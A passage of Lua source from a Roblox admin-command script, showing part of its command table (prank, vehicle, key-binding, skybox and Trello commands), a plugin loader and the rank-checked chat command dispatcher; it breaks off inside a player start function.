8221 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8222 GUI:SettingsGui(Speaker)
8223 end};
8224
8225 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8226 if tonumber(Arguments[2]) then
8227 local Players = STRING:Scan(Arguments[1], Speaker)
8228 local List = {}
8229 for _,Player in pairs(Players) do
8230 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8231 table.insert(List, Player.Name)
8232 end
8233 end
8234 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8235 end
8236 end};
8237
8238 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8239 local Players = STRING:Scan(Arguments[1], Speaker)
8240 for _,Player in pairs(Players) do
8241 if Player.Character and Player.Character:FindFirstChild("Head") then
8242 local Char = Player.Character
8243 Char:BreakJoints()
8244 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8245 Obj.Anchored = true
8246 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8247 local Decal = Instance.new("Decal", Obj)
8248 Decal.Texture = "rbxassetid://178913323"
8249 Decal.Face = Face
8250 end
8251 end)
8252 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8253 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8254 Sound1:Play() Sound2:Play()
8255 coroutine.wrap(function()
8256 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8257 repeat wait()
8258 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8259 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8260 Obj.Transparency = math.random(0,30)/100
8261 Obj.Reflectance = math.random(0,50)/100
8262 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8263 end)
8264 until Char ~= Player.Character or Char.Parent == nil
8265 end)()
8266 end
8267 end
8268 end, Hidden = true};
8269
8270 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8271 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8272 end, Http = true};
8273
8274 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8275 local Players = STRING:Scan(Arguments[1], Speaker)
8276 for _,Player in pairs(Players) do
8277 if Player.Character then
8278 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8279 Obj.Material = "Neon"
8280 end)
8281 end
8282 end
8283 end};
8284
8285 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8286 local Players = STRING:Scan(Arguments[1], Speaker)
8287 for _,Player in pairs(Players) do
8288 if Player.Character then
8289 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8290 Obj.Material = "Plastic"
8291 end)
8292 end
8293 end
8294 end};
8295
8296 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8297 local Players = STRING:Scan(Arguments[1], Speaker)
8298 for _,Player in pairs(Players) do
8299 if Player.Character then
8300 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8301 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8302 end)
8303 end
8304 end
8305 end, Hidden = true};
8306
8307 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8308 local Players = STRING:Scan(Arguments[1], Speaker)
8309 for _,Player in pairs(Players) do
8310 if Player.Character and Player.Character:FindFirstChild("Torso") then
8311 local Pos = Player.Character.Torso.Position
8312 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8313 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8314 if Answer == "Ok" then
8315 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8316 end
8317 end
8318 end
8319 end};
8320
8321 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8322 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8323 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8324 if PlayersFrom and PlayersTo then
8325 for _,PlayerFrom in pairs(PlayersFrom) do
8326 for _,PlayerTo in pairs(PlayersTo) do
8327 if PlayerFrom.Character and PlayerTo.Character then
8328 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8329 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8330 wait(5)
8331 Laser:Destroy()
8332 end)() end
8333 end
8334 end
8335 end
8336 end
8337 end};
8338
8339 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8340 local Players = STRING:Scan(Arguments[1], Speaker)
8341 for _,Player in pairs(Players) do
8342 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8343 Player.Character.Humanoid:Destroy()
8344 end
8345 end
8346 end};
8347
8348 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8349 if Plugins then
8350 local List = {}
8351 for _,Module in pairs(Plugins:GetChildren()) do
8352 if Module:IsA("ModuleScript") then
8353 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8354 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8355 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8356 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8357 end
8358 end
8359 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8360 else
8361 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8362 end
8363 end};
8364
8365 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8366 local Players = STRING:Scan(Arguments[1], Speaker)
8367 for _,Player in pairs(Players) do
8368 GUI:DetachChat(Player)
8369 end
8370 end};
8371
8372 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8373 GUI:DetachChat(Speaker)
8374 end};
8375
8376 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8377 local Players = STRING:Scan(Arguments[1], Speaker)
8378 for _,Player in pairs(Players) do
8379 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8380 local Dead = false
8381
8382 Player.Character.Humanoid.WalkSpeed = 1
8383 local Torso = Player.Character.Torso
8384 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8385 Truck:BreakJoints()
8386 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8387 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8388 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8389 Truck.Touched:connect(function(Part)
8390 if Dead == false then
8391 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8392 if TouchPlayer == Player then
8393 Dead = true
8394 Player.Character:BreakJoints()
8395 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8396 end
8397 end
8398 end)
8399 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8400 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8401 Delay(5, function()
8402 Truck:Destroy()
8403 if Player.Character:FindFirstChild("Humanoid") then
8404 Player.Character.Humanoid.WalkSpeed = 16
8405 end
8406 end)
8407 end
8408 end
8409 end};
8410
8411 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8412 local Joke = REMOTE:DownloadJoke(Speaker)
8413 local Players = STRING:Scan(Arguments[1], Speaker)
8414 for _,Player in pairs(Players) do
8415 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8416 end
8417 end, Http = true};
8418
8419 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8420 local Joke = REMOTE:DownloadJoke(Speaker)
8421 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8422 end, Http = true};
8423
8424 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8425 local Players = STRING:Scan(Arguments[1], Speaker)
8426 for _,Player in pairs(Players) do
8427 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8428 CORE:InvisiblePlayer(Player)
8429 local DogContainer = Instance.new("Model", Player.Character)
8430 DogContainer.Name = "Doge"
8431 local Dog = CORE:Insert(257489726, DogContainer, true)
8432 Dog.Head.Transparency = 0.99
8433 Dog.Name = Player.Name
8434 Dog:MoveTo(Player.Character.Torso.Position)
8435 local Weld = Instance.new("Weld", Dog.Torso)
8436 Weld.Part0 = Player.Character.Torso
8437 Weld.Part1 = Dog.Torso
8438 Weld.C0 = CFrame.new(0,-0.4,0)
8439 for _,Obj in pairs(Dog:GetChildren()) do
8440 if Obj:IsA("BasePart") then
8441 Obj.CanCollide = false
8442 end
8443 end
8444
8445 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8446 end
8447 end
8448 end};
8449
8450 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8451 local Key = string.lower(string.sub(Arguments[1],1,1))
8452 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8453 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8454 end};
8455
8456 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8457 local Key = string.lower(string.sub(Arguments[1],1,1))
8458 KeyBinds[Speaker.UserId][Key] = nil
8459 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8460 end};
8461
8462 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8463 KeyBinds[Speaker.UserId] = {}
8464 GUI:SendHint(Speaker, "Unbinded all keys")
8465 end};
8466
8467 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8468 local Players = STRING:Scan(Arguments[1], Speaker)
8469 local Key = string.lower(string.sub(Arguments[2],1,1))
8470 for _,Player in pairs(Players) do
8471 KeyBinds[Player.UserId][Key] = Arguments[3]
8472 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8473 end
8474 end};
8475
8476 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8477 local Players = STRING:Scan(Arguments[1], Speaker)
8478 local Key = string.lower(string.sub(Arguments[2],1,1))
8479 for _,Player in pairs(Players) do
8480 KeyBinds[Player.UserId][Key] = nil
8481 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8482 end
8483 end};
8484
8485 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8486 local Players = STRING:Scan(Arguments[1], Speaker)
8487 for _,Player in pairs(Players) do
8488 KeyBinds[Player.UserId] = {}
8489 GUI:SendHint(Player, "Unbinded all keys")
8490 end
8491 end};
8492
8493 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8494 local Players = STRING:Scan(Arguments[1], Speaker)
8495 local Binds = {}
8496 for _,Player in pairs(Players) do
8497 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8498 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8499 end
8500 end
8501 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8502 end};
8503
8504 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8505 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8506 local Players = STRING:Scan(ChatSplit[1], Speaker)
8507 for _,Player in pairs(Players) do
8508 if Crowns[Player.UserId] then
8509 Crowns[Player.UserId]:Destroy()
8510 Crowns[Player.UserId] = nil
8511 wait()
8512 end
8513 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8514 end
8515 end};
8516
8517 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8518 local Players = STRING:Scan(Arguments[1], Speaker)
8519 for _,Player in pairs(Players) do
8520 if Crowns[Player.UserId] then
8521 Crowns[Player.UserId]:Destroy()
8522 Crowns[Player.UserId] = nil
8523 end
8524 end
8525 end};
8526
8527 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8528 local MeshList = {}
8529 for MeshName,Data in pairs(Meshes) do
8530 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8531 end
8532 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8533 end};
8534
8535 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8536 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8537 end};
8538
8539 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8540 local Players = STRING:Scan(Arguments[1], Speaker)
8541 for _,Player in pairs(Players) do
8542 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8543 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8544 Player:ClearCharacterAppearance()
8545 CORE:GivePackage(Player, 41851073)
8546 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8547 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8548 end
8549 end
8550 end};
8551
8552 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8553 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8554 local Players = STRING:Scan(Arguments[1], Speaker)
8555 for _,Player in pairs(Players) do
8556 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8557 local Car = CORE:Insert(10479801, Server.Workspace, true)
8558 local Body = Car["Motor (torque)Chassis"].Part
8559 Cars[Player.UserId] = Car
8560 Car:MakeJoints()
8561 Car.VehicleSeat.MaxSpeed = 50
8562 Car.VehicleSeat.TurnSpeed = 1.5
8563 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8564 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8565 Body.Color = GUI:GetColor(Arguments[2])
8566 else
8567 Body.BrickColor = GUI:GetNameColor(Player.Name)
8568 end
8569 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8570 if Part.Name ~= "Part" then
8571 Part.BrickColor = BrickColor.new("Really black")
8572 Part.Friction = 0.7
8573 end
8574 end
8575 local Light = Instance.new("SpotLight", Body)
8576 Light.Face = "Back"
8577 Light.Brightness = 5
8578 Light.Range = 20
8579 Light.Color = Color3.new(0,1,1)
8580 if Player.Character and Player.Character.Torso then
8581 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8582 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8583 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8584 Weld.Part0 = Car.VehicleSeat
8585 Weld.Part1 = Player.Character.Torso
8586 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8587 Delay(0.4, function()
8588 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8589 wait(0.1)
8590 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8591 end)
8592 end
8593 local SoundID = 147944604
8594 if RANK:GetRank(Player) == "Owner" then
8595 SoundID = 133313356
8596 Car.VehicleSeat.MaxSpeed = 80
8597 Body.Material = "DiamondPlate"
8598 Car.VehicleSeat.Torque = 11
8599 end
8600 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8601 Engine:Play()
8602 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8603 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8604 end if Engine then Engine:Stop() end end)()
8605 end
8606 end};
8607
8608 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8609 local Players = STRING:Scan(Arguments[1], Speaker)
8610 for _,Player in pairs(Players) do
8611 if Cars[Player.UserId] then
8612 Cars[Player.UserId]:Destroy()
8613 end
8614 end
8615 end};
8616
8617 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8618 for _,Car in pairs(Cars) do
8619 Car:Destroy()
8620 end
8621 Cars = {}
8622 end};
8623
8624 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8625 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8626 if #Trello.RequiredLists > 0 then
8627 print("Restarting Trello")
8628 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8629 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8630 REMOTE:TrelloCacheData(Lists)
8631 end
8632 end, Http = true};
8633
8634 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8635 local Operations = {}
8636 for _,ReplaceData in pairs(StringReplacements) do
8637 local Replacement = ReplaceData[1]
8638 if type(Replacement) == "table" then
8639 Replacement = ReplaceData[1][1]
8640 end
8641 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8642 end
8643 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8644 end};
8645
8646 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8647 GUI:SoundInfo(Speaker)
8648 end};
8649
8650 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8651 local Players = STRING:Scan(Arguments[1], Speaker)
8652 for _,Player in pairs(Players) do
8653 GUI:SoundInfo(Player)
8654 end
8655 end};
8656
8657 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8658 if tonumber(Arguments[1]) then
8659 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8660 end
8661 end};
8662
8663 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8664 local Types = {}
8665 for Type,_ in pairs(Assets.AccessoryTypes) do
8666 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8667 end
8668 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8669 end};
8670
8671 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8672 local Sky = Server.Lighting:FindFirstChild("Sky")
8673 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8674 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8675 local Face = nil
8676 local SkyID = string.lower(Arguments[1])
8677 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8678 if #Arguments == 2 and tonumber(Arguments[2]) then
8679 Face = Arguments[1]
8680 SkyID = Arguments[2]
8681 end
8682 if tonumber(SkyID) then
8683 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8684 if Face and Faces[Face] then
8685 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8686 else
8687 for _,Face in pairs(Faces) do
8688 Sky[Face] = "rbxassetid://"..ImageID
8689 end
8690 end
8691 else
8692 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8693 end
8694 end};
8695
8696 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8697 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8698 Obj:Destroy()
8699 end)
8700 end};
8701 --
8702}
8703
8704if Plugins then
8705 local PluginNum = 0
8706 for _,Module in pairs(Plugins:GetChildren()) do
8707 if Module:IsA("ModuleScript") then
8708 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8709 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8710 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8711 if Enabled.Value == true then
8712 PluginNum = PluginNum + 1
8713 local PluginExe = require(Module)
8714 for Var,Val in pairs(getfenv()) do
8715 getfenv(PluginExe)[Var] = Val
8716 end
8717 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8718 getfenv(PluginExe).script = Module
8719 getfenv(PluginExe).Script = Module
8720 getfenv(PluginExe).Version = Version
8721 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8722 if not Suc then
8723 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8724 else
8725 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8726 end
8727 end
8728 end
8729 end
8730end
8731
8732function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8733 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8734 GUI:SettingsGui(Speaker)
8735 return nil
8736 end
8737 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8738 local Prefix = Settings.Prefix
8739 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8740 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8741 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8742 if Speaker == nil then
8743 if FakeRank then
8744 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8745 FakeRank = "Owner"
8746 end
8747 else
8748 FakeRank = "Owner"
8749 end
8750 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8751 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8752 Speaker = {
8753 Name = FakePlayerName or "[ Server ]";
8754 Character = nil;
8755 userId = 1;
8756 PlayerGui = nil;
8757 Rank = FakeRank or "Owner";
8758 MakeSupremeOwner = MakeSupremeOwner;
8759 }
8760 end
8761 local Rank = RANK:GetRank(Speaker)
8762 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8763
8764 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8765 if NoPrefixNeeded then Prefix = "" end
8766 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8767
8768 for _,Message in pairs(Messages) do
8769 for Cmds,Data in pairs(Commands) do -- check all commands
8770 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8771
8772 if not MessageSplit then break end
8773
8774 local CommandSaid = false
8775 for _,Command in pairs(Cmds) do
8776 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8777 CommandSaid = true
8778 break
8779 end
8780 end
8781 if CommandSaid == true then -- command said?
8782 local ExecuteExcuse = ""
8783 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8784 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8785 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8786 end
8787 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8788 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8789 end
8790 else
8791 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8792 end
8793 if ExecuteExcuse == "" then
8794 if #MessageSplit - 1 < Data[3] then
8795 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8796 end
8797 end
8798 if ExecuteExcuse == "" then
8799 CORE:Log(CommandLogs, Speaker, Message)
8800 table.remove(MessageSplit, 1)
8801 coroutine.wrap(function() wait()
8802 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8803 if not DidExe then
8804 if CORE:NilPlayer(Speaker) then
8805 print("Error: "..Error)
8806 else
8807 CORE:HandleError(Error, Speaker)
8808 end
8809 end
8810 end)()
8811 coroutine.wrap(function() wait(0.05)
8812 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8813 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8814 ExeSound:Play()
8815 wait(3)
8816 ExeSound:Stop()
8817 ExeSound:Destroy()
8818 end
8819 end)()
8820 elseif type(Speaker) == "userdata" then
8821 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8822 end
8823 break
8824 end
8825 end
8826 end
8827 end
8828end
8829
8830function CORE:Start(Player) coroutine.wrap(function()
8831 wait(0.1)
8832 if Player then
8833 coroutine.wrap(function()
8834 repeat wait(1) until DataReady == true
8835 DataReady = false
8836 ypcall(function()
